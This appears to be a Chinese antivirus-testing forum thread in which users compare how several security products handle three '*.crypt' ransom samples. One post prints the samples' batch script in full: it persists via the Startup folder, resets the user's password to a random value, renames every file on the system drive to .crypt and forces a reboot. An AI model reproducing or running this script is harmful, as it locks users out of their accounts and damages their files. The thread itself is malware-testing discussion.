Ransom (*.crypt) (18.7.25)

wusiyuanjh 发表于 2018-7-26 08:07
1.exe is infected with Atc4.Detection and was moved to quarantine. It is recommended that you run a  ...

我这里测试，1，2，3号ATD都是可以杀的，但也都会删除加密后的文件。
2018版ATD加入回滚后，就一直存在这个问题，将被加密的文件一起移除。我记得2019beta的时候也有这个问题。这次我是用沙盘双击的，不清楚是否是沙盘影响了BD的加密文件恢复机制。如果该功能能自动恢复被加密的文件，那把加密后的文件删除问题也不大。

saleniy35

老司机 3/3

ATP_synthase

霄栋 发表于 2018-7-26 10:27
我这里测试，1，2，3号ATD都是可以杀的，但也都会删除加密后的文件。
2018版ATD加入回滚后，就一直存在 ...

我也是沙盘双击的。。。2、3号我这bd没有阻止，一直在沙盘里呆着没有被杀，估计有影响吧

www-tekeze

三个勒索基本相同，都是用cmd来实现，火绒有系统加固，自己略增加几条规则，很轻松就拦下。。

wusiyuanjh 发表于 2018-7-26 10:48
我也是沙盘双击的。。。2、3号我这bd没有阻止，一直在沙盘里呆着没有被杀，估计有影响吧

重新在虚拟机里测试了下，atd还是三个全杀，但也同样会把被加密的文件隔离，而且没有触发文件恢复。感觉2019现在还是不稳定，双击1号样本让bd崩溃了2次

ATP_synthase

祭丿祀 发表于 2018-7-26 11:39
别用火绒来丢人现眼了

你昨天发的两个帖子双双被封，现在又跑到别的帖子下面黑火绒引战，再这样直接封号比较好

lixihong10

@echo off
cd %~dp0
Copy %0 "%Userprofile%\APPDATA\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\autorun.bat"
Copy %0 "%Userprofile%\APPDATA\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\autorun.exe"
net user %username% %random%
FOR /R %systemdrive%\ %%f IN (*.*) DO REN "%%f" *.crypt
shutdown -r -t "00"

FOR /R %systemdrive%\ %%f IN (*.*) DO REN "%%f" *.crypt 就等于修改所有文件的扩展名。

a445441

微点KILL3个